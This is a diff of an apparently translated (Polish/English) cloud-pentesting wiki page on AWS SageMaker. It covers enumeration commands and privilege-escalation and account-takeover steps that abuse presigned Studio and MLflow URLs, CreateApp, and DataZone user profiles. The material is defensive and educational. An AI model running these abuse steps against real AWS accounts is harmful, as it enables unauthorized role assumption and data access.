# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
```
|
||||
**Potencjalny wpływ**: Eskalacja uprawnień do roli wykonawczej SageMaker określonej dla interaktywnych sesji Studio.
|
||||
**Potencjalny wpływ**: Eskalacja uprawnień do poziomu określonej roli wykonawczej SageMaker w kontekście interaktywnych sesji Studio.
|
||||
|
||||
### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
Atakujący posiadający uprawnienie do utworzenia aplikacji SageMaker Studio dla docelowego UserProfile może uruchomić aplikację JupyterServer, która działa z użyciem `ExecutionRole` tego profilu. Zapewnia to interaktywny dostęp do uprawnień tej roli przez terminale Jupyter lub zadania uruchomione z poziomu Studio.
|
||||
|
||||
Kroki:
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# 3) Create a JupyterServer app for the user profile
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-privesc
|
||||
|
||||
# 4) Generate a presigned URL to access Studio
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
```
|
||||
**Potencjalny wpływ**: Interaktywny dostęp do roli wykonawczej SageMaker przypisanej do docelowego UserProfile.
|
||||
|
||||
|
||||
## Odniesienia
|
||||
### `iam:GetUser`, `datazone:CreateUserProfile`
|
||||
|
||||
Atakujący z tymi uprawnieniami może przyznać użytkownikowi IAM dostęp do Sagemaker Unified Studio Domain, tworząc dla niego DataZone User Profile.
|
||||
```bash
|
||||
# List domains
|
||||
aws datazone list-domains --region us-east-1 \
|
||||
--query "items[].{Id:id,Name:name}" \
|
||||
--output json
|
||||
|
||||
# Add IAM user as a user of the domain
|
||||
aws datazone create-user-profile \
|
||||
--region us-east-1 \
|
||||
--domain-identifier <domain-id> \
|
||||
--user-identifier <arn-user> \
|
||||
--user-type IAM_USER
|
||||
```
|
||||
URL Unified Domain ma następujący format: `https://<domain-id>.sagemaker.<region>.on.aws/` (e.g. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).
|
||||
|
||||
**Potencjalny wpływ:** Dostęp do Sagemaker Unified Studio Domain jako użytkownik, umożliwiający dostęp do wszystkich zasobów wewnątrz domeny Sagemaker, a nawet eskalację uprawnień do roli, której używają notebooki w Sagemaker Unified Studio Domain.
|
||||
|
||||
## Referencje
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
|
||||
@@ -4,27 +4,27 @@
|
||||
|
||||
## Przegląd usługi
|
||||
|
||||
Amazon SageMaker to zarządzana przez AWS platforma uczenia maszynowego, która scala notebooks, infrastrukturę treningową, orkiestrację, rejestry i zarządzane endpoints. Kompromitacja zasobów SageMaker zazwyczaj daje:
|
||||
Amazon SageMaker is AWS' managed machine-learning platform that glues together notebooks, training infrastructure, orchestration, registries, and managed endpoints. A compromise of SageMaker resources typically provides:
|
||||
|
||||
- Długotrwałe role uruchomieniowe IAM z szerokim dostępem do S3, ECR, Secrets Manager lub KMS.
|
||||
- Dostęp do wrażliwych zbiorów danych przechowywanych w S3, EFS lub wewnątrz feature stores.
|
||||
- Sieciowe przyczółki wewnątrz VPC (Studio apps, training jobs, endpoints).
|
||||
- Presigned URLs o wysokich uprawnieniach, które omijają uwierzytelnianie w konsoli.
|
||||
- Long-lived IAM execution roles with broad S3, ECR, Secrets Manager, or KMS access.
|
||||
- Access to sensitive datasets stored in S3, EFS, or inside feature stores.
|
||||
- Network footholds inside VPCs (Studio apps, training jobs, endpoints).
|
||||
- High-privilege presigned URLs that bypass console authentication.
|
||||
|
||||
Zrozumienie, jak zbudowany jest SageMaker, jest kluczowe zanim wykonasz pivot, persist lub exfiltrate data.
|
||||
Understanding how SageMaker is assembled is key before you pivot, persist, or exfiltrate data.
|
||||
|
||||
## Główne elementy składowe
|
||||
|
||||
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Każda domena ma współdzielony system plików EFS i domyślną rolę wykonawczą.
|
||||
- **Notebook Instances**: Zarządzane instancje EC2 dla samodzielnych notebooków; używają oddzielnych ról wykonawczych.
|
||||
- **Training / Processing / Transform Jobs**: Efemeryczne kontenery, które pobierają kod z ECR i dane z S3.
|
||||
- **Pipelines & Experiments**: Orkiestrowane workflowy, które opisują wszystkie kroki, wejścia i wyjścia.
|
||||
- **Models & Endpoints**: Spakowane artefakty wdrożone do inferencji za pomocą punktów końcowych HTTPS.
|
||||
- **Feature Store & Data Wrangler**: Zarządzane usługi do przygotowania danych i zarządzania cechami.
|
||||
- **Autopilot & JumpStart**: Zautomatyzowane ML i kuratorowany katalog modeli.
|
||||
- **MLflow Tracking Servers**: Zarządzane serwery MLflow z UI/API i presigned access tokens.
|
||||
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Each domain has a shared EFS file system and default execution role.
|
||||
- **Notebook Instances**: Managed EC2 instances for standalone notebooks; use separate execution roles.
|
||||
- **Training / Processing / Transform Jobs**: Ephemeral containers that pull code from ECR and data from S3.
|
||||
- **Pipelines & Experiments**: Orchestrated workflows that describe all steps, inputs, and outputs.
|
||||
- **Models & Endpoints**: Packaged artefacts deployed for inference via HTTPS endpoints.
|
||||
- **Feature Store & Data Wrangler**: Managed services for data preparation and feature management.
|
||||
- **Autopilot & JumpStart**: Automated ML and curated model catalogue.
|
||||
- **MLflow Tracking Servers**: Managed MLflow UI/API with presigned access tokens.
|
||||
|
||||
Każdy zasób odnosi się do roli wykonawczej, lokalizacji S3, obrazów kontenerów oraz opcjonalnej konfiguracji VPC/KMS — przechwyć wszystkie podczas enumeration.
|
||||
Every resource references an execution role, S3 locations, container images, and optional VPC/KMS configuration—capture all of them during enumeration.
|
||||
|
||||
## Konto i metadane globalne
|
||||
```bash
|
||||
@@ -39,7 +39,7 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' -
|
||||
# Generic tag sweep across any SageMaker ARN you know
|
||||
aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
|
||||
```
|
||||
Zanotuj wszelkie zaufania między kontami (execution roles lub S3 buckets z zewnętrznymi principalami) oraz podstawowe ograniczenia, takie jak service control policies lub SCPs.
|
||||
Zanotuj wszelkie cross-account trust (execution roles lub S3 buckets z zewnętrznymi principalami) oraz podstawowe ograniczenia, takie jak service control policies (SCPs).
|
||||
|
||||
## Studio Domains, Apps & Shared Spaces
|
||||
```bash
|
||||
@@ -60,14 +60,14 @@ aws sagemaker describe-space --domain-id <domain-id> --space-name <space> --regi
|
||||
aws sagemaker list-studio-lifecycle-configs --region $REGION
|
||||
aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <name> --region $REGION
|
||||
```
|
||||
What to record:
|
||||
Co zapisać:
|
||||
|
||||
- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
|
||||
- Zamontowane EFS (`HomeEfsFileSystemId`) i katalogi domowe S3.
|
||||
- Skrypty lifecycle (często zawierają bootstrap credentials lub dodatkowy kod push/pull).
|
||||
- Zamontowany EFS (`HomeEfsFileSystemId`) oraz katalogi domowe w S3.
|
||||
- Skrypty lifecycle (często zawierają poświadczenia bootstrap lub dodatkowy kod do push/pull).
|
||||
|
||||
> [!TIP]
|
||||
> Presigned Studio URLs mogą ominąć uwierzytelnianie, jeśli są przyznane zbyt szeroko.
|
||||
> Presigned Studio URLs mogą ominąć uwierzytelnianie, jeśli są szeroko udostępnione.
|
||||
|
||||
## Notebook Instances & Lifecycle Configs
|
||||
```bash
|
||||
@@ -80,9 +80,9 @@ Metadane notebooka ujawniają:
|
||||
|
||||
- Rola wykonawcza (`RoleArn`), bezpośredni dostęp do internetu vs. tryb tylko VPC.
|
||||
- Lokalizacje S3 w `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
|
||||
- Skrypty cyklu życia dla poświadczeń lub mechanizmów utrwalania.
|
||||
- Skrypty cyklu życia zawierające poświadczenia lub mechanizmy utrwalania.
|
||||
|
||||
## Szkolenie, Przetwarzanie, Transformacja & Zadania wsadowe
|
||||
## Training, Processing, Transform & Batch Jobs
|
||||
```bash
|
||||
aws sagemaker list-training-jobs --region $REGION
|
||||
aws sagemaker describe-training-job --training-job-name <job> --region $REGION
|
||||
@@ -93,14 +93,14 @@ aws sagemaker describe-processing-job --processing-job-name <job> --region $REGI
|
||||
aws sagemaker list-transform-jobs --region $REGION
|
||||
aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
|
||||
```
|
||||
Przeanalizuj:
|
||||
Sprawdź:
|
||||
|
||||
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – które obrazy ECR są wdrożone.
|
||||
- `InputDataConfig` & `OutputDataConfig` – S3 buckets, prefiksy oraz KMS keys.
|
||||
- `InputDataConfig` & `OutputDataConfig` – bucketów S3, prefiksów i kluczy KMS.
|
||||
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – określają konfigurację sieciową lub szyfrowania.
|
||||
- `HyperParameters` mogą leak sekrety środowiska lub connection strings.
|
||||
- `HyperParameters` mogą leak sekretów środowiskowych lub ciągów połączeń.
|
||||
|
||||
## Pipeliny, Eksperymenty i Próby
|
||||
## Potoki, eksperymenty i próby
|
||||
```bash
|
||||
aws sagemaker list-pipelines --region $REGION
|
||||
aws sagemaker list-pipeline-executions --pipeline-name <pipeline> --region $REGION
|
||||
@@ -110,9 +110,9 @@ aws sagemaker list-experiments --region $REGION
|
||||
aws sagemaker list-trials --experiment-name <experiment> --region $REGION
|
||||
aws sagemaker list-trial-components --trial-name <trial> --region $REGION
|
||||
```
|
||||
Definicje pipeline'ów opisują każdy krok, przypisane role, obrazy kontenerów oraz zmienne środowiskowe. Komponenty Trial często zawierają URI artefaktów treningowych, logi S3 oraz metryki sugerujące przepływ danych wrażliwych.
|
||||
Definicje pipeline'ów zawierają szczegóły każdego kroku, powiązanych ról, obrazów kontenerów oraz zmiennych środowiskowych. Komponenty Trial często zawierają URI artefaktów treningowych, logi S3 oraz metryki sugerujące przepływ wrażliwych danych.
|
||||
|
||||
## Modele, konfiguracje punktów końcowych & wdrożone punkty końcowe
|
||||
## Modele, konfiguracje endpointów & wdrożone endpointy
|
||||
```bash
|
||||
aws sagemaker list-models --region $REGION
|
||||
aws sagemaker describe-model --model-name <name> --region $REGION
|
||||
@@ -125,10 +125,10 @@ aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
|
||||
```
|
||||
Główne obszary:
|
||||
|
||||
- URI artefaktów modeli w S3 (`PrimaryContainer.ModelDataUrl`) oraz obrazy kontenerów do inferencji.
|
||||
- Konfiguracja przechwytywania danych endpointu (S3 bucket, KMS) dla możliwego log exfil.
|
||||
- Endpointy multi-modelowe używające `S3DataSource` lub `ModelPackage` (sprawdź pakowanie międzykontowe).
|
||||
- Konfiguracje sieciowe i grupy zabezpieczeń przypisane do endpointów.
|
||||
- URI artefaktów modelu w S3 (`PrimaryContainer.ModelDataUrl`) oraz obrazy kontenerów do inferencji.
|
||||
- Konfiguracja przechwytywania danych endpointu (S3 bucket, KMS) pod kątem możliwego wycieku logów.
|
||||
- Wielomodelowe endpointy używające `S3DataSource` lub `ModelPackage` (sprawdź cross-account packaging).
|
||||
- Konfiguracje sieciowe i grupy bezpieczeństwa przypisane do endpointów.
|
||||
|
||||
## Feature Store, Data Wrangler & Clarify
|
||||
```bash
|
||||
@@ -141,11 +141,11 @@ aws sagemaker describe-data-wrangler-flow --flow-name <flow> --region $REGION
|
||||
aws sagemaker list-model-quality-job-definitions --region $REGION
|
||||
aws sagemaker list-model-monitoring-schedule --region $REGION
|
||||
```
|
||||
Wnioski dotyczące bezpieczeństwa:
|
||||
Wnioski bezpieczeństwa:
|
||||
|
||||
- Online feature stores replikują dane do Kinesis; sprawdź `OnlineStoreConfig.SecurityConfig.KmsKeyId` i konfigurację VPC.
|
||||
- Przepływy Data Wrangler często zawierają osadzone poświadczenia JDBC/Redshift lub prywatne punkty końcowe.
|
||||
- Zadania Clarify/Model Monitor eksportują dane do S3, które mogą być publicznie czytelne (world-readable) lub dostępne między kontami.
|
||||
- Online feature stores replikują dane do Kinesis; sprawdź `OnlineStoreConfig.SecurityConfig.KmsKeyId` i VPC.
|
||||
- Flows w Data Wrangler często zawierają poświadczenia JDBC/Redshift lub prywatne punkty końcowe.
|
||||
- Zadania Clarify/Model Monitor eksportują dane do S3, które mogą być dostępne publicznie (world-readable) lub dostępne dla innych kont (cross-account).
|
||||
|
||||
## MLflow Tracking Servers, Autopilot & JumpStart
|
||||
```bash
|
||||
@@ -158,14 +158,14 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
|
||||
aws sagemaker list-jumpstart-models --region $REGION
|
||||
aws sagemaker list-jumpstart-script-resources --region $REGION
|
||||
```
|
||||
- Serwery śledzenia MLflow przechowują eksperymenty i artefakty; presigned URLs mogą ujawniać wszystko.
|
||||
- Zadania Autopilot uruchamiają wiele training jobs — enumerate outputs w poszukiwaniu ukrytych danych.
|
||||
- JumpStart reference architectures mogą wdrażać uprzywilejowane role w koncie.
|
||||
- Serwery śledzenia MLflow przechowują eksperymenty i artefakty; presigned URLs mogą ujawnić wszystko.
|
||||
- Autopilot jobs spin multiple training jobs — enumerate outputs for hidden data.
|
||||
- JumpStart reference architectures mogą wdrożyć privileged roles do konta.
|
||||
|
||||
## IAM i kwestie sieciowe
|
||||
## IAM & kwestie sieciowe
|
||||
|
||||
- Enumerate IAM policies przypisane do wszystkich execution roles (Studio, notebooks, training jobs, pipelines, endpoints).
|
||||
- Sprawdź konteksty sieciowe: subnets, security groups, VPC endpoints. Wiele organizacji izoluje training jobs, ale zapomina ograniczyć ruch wychodzący.
|
||||
- Wypisz polityki IAM przypisane do wszystkich execution roles (Studio, notebooks, training jobs, pipelines, endpoints).
|
||||
- Sprawdź kontekst sieciowy: subnets, security groups, VPC endpoints. Wiele organizacji izoluje training jobs, ale zapomina ograniczyć ruch wychodzący.
|
||||
- Przejrzyj polityki bucketów S3 odwoływane w `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` pod kątem dostępu zewnętrznego.
|
||||
|
||||
## Privilege Escalation
|
||||
@@ -192,7 +192,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION
|
||||
../aws-sagemaker-unauthenticated-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Źródła
|
||||
## Referencje
|
||||
|
||||
- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
|
||||
- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)
|
||||
|
||||
+5
-100
@@ -2,107 +2,12 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker Studio - Przejęcie konta poprzez CreatePresignedDomainUrl (podszycie się pod dowolny UserProfile)
|
||||
## Presigned URLs dla SageMaker
|
||||
|
||||
### Opis
|
||||
Tożsamość z uprawnieniem do wywołania `sagemaker:CreatePresignedDomainUrl` na docelowym Studio `UserProfile` może wygenerować URL logowania, który uwierzytelnia bezpośrednio do SageMaker Studio jako ten profil. Daje to przeglądarce atakującego sesję Studio, która dziedziczy uprawnienia `ExecutionRole` profilu oraz pełny dostęp do katalogu domowego i aplikacji profilu opartych na EFS. Nie jest wymagane `iam:PassRole` ani dostęp do konsoli.
|
||||
Jeśli atakujący zdoła uzyskać presigned URL do zasobu SageMaker, może uzyskać do niego dostęp bez dalszej autoryzacji. Uprawnienia i poziom dostępu będą zależeć od roli powiązanej z zasobem:
|
||||
|
||||
### Wymagania
|
||||
- SageMaker Studio `Domain` i docelowy `UserProfile` w jego obrębie.
|
||||
- Principal atakującego musi mieć `sagemaker:CreatePresignedDomainUrl` na docelowym `UserProfile` (na poziomie zasobu) lub `*`.
|
||||
|
||||
Minimal policy example (scoped to one UserProfile):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Kroki nadużycia
|
||||
|
||||
1) Wyenumeruj Studio Domain i UserProfiles, które możesz zaatakować
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
2) Wygeneruj presigned URL (domyślnie ważny przez ~5 minut)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) Otwórz zwrócony URL w przeglądarce, aby zalogować się do Studio jako docelowy użytkownik. W terminalu Jupyter w Studio zweryfikuj efektywną tożsamość:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Uwagi:
|
||||
- `--landing-uri` można pominąć. Niektóre wartości (np. `app:JupyterLab:/lab`) mogą być odrzucone w zależności od wariantu/wersji Studio; domyślne ustawienia zazwyczaj przekierowują do strony głównej Studio, a następnie do Jupyter.
|
||||
- Org policies/VPC endpoint restrictions mogą nadal blokować dostęp sieciowy; token minting nie wymaga logowania do konsoli ani `iam:PassRole`.
|
||||
|
||||
### Wpływ
|
||||
- Ruch boczny i eskalacja uprawnień poprzez przyjęcie dowolnego Studio `UserProfile`, którego ARN jest dozwolony, dziedzicząc jego `ExecutionRole` oraz system plików/aplikacje.
|
||||
|
||||
### Dowody (z kontrolowanego testu)
|
||||
- Mając tylko `sagemaker:CreatePresignedDomainUrl` na docelowym `UserProfile`, rola atakującego pomyślnie zwróciła `AuthorizedUrl` podobny do:
|
||||
```
|
||||
https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
|
||||
```
|
||||
- Bezpośrednie żądanie HTTP zwraca przekierowanie (HTTP 302) do Studio, potwierdzając, że URL jest ważny i aktywny do momentu wygaśnięcia.
|
||||
|
||||
|
||||
## SageMaker MLflow Tracking Server - ATO przez CreatePresignedMlflowTrackingServerUrl
|
||||
|
||||
### Opis
|
||||
Tożsamość mająca uprawnienie do wywołania `sagemaker:CreatePresignedMlflowTrackingServerUrl` dla docelowego SageMaker MLflow Tracking Server może wygenerować jednorazowy presigned URL, który uwierzytelnia się bezpośrednio w zarządzanym MLflow UI tego serwera. Zapewnia to taki sam dostęp, jaki miałby prawidłowy użytkownik do serwera (wyświetlanie/tworzenie eksperymentów i runs oraz pobieranie/wysyłanie artefaktów w magazynie artefaktów S3 serwera) bez dostępu do konsoli lub `iam:PassRole`.
|
||||
|
||||
### Wymagania
|
||||
- SageMaker MLflow Tracking Server w koncie/regionie oraz jego nazwa.
|
||||
- Podmiot atakujący potrzebuje uprawnienia `sagemaker:CreatePresignedMlflowTrackingServerUrl` na docelowym zasobie MLflow Tracking Server (lub `*`).
|
||||
|
||||
Minimalny przykład polityki (ograniczony do jednego Tracking Servera):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Kroki nadużycia
|
||||
|
||||
1) Enumerate MLflow Tracking Servers you can target i wybierz jedną nazwę
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
2) Wygeneruj presigned MLflow UI URL (ważny przez krótki czas)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--expires-in-seconds 300 \
|
||||
--session-expiration-duration-in-seconds 1800 \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) Otwórz zwrócony URL w przeglądarce, aby uzyskać dostęp do MLflow UI jako uwierzytelniony użytkownik dla tego Tracking Server.
|
||||
|
||||
Notes:
|
||||
- Tracking Server musi być w stanie gotowości (np. `Created/Active`). Jeśli jest nadal w stanie `Creating`, wywołanie zostanie odrzucone.
|
||||
- The presigned URL jest jednorazowy i krótkotrwały; wygeneruj nowy, gdy będzie potrzebny.
|
||||
|
||||
### Wpływ
|
||||
- Bezpośredni dostęp do zarządzanego MLflow UI dla docelowego Tracking Server, umożliwiający przeglądanie i modyfikację experiments/runs oraz pobieranie lub przesyłanie artifacts przechowywanych w skonfigurowanym S3 artifact store serwera, zgodnie z uprawnieniami wymuszonymi przez konfigurację serwera.
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user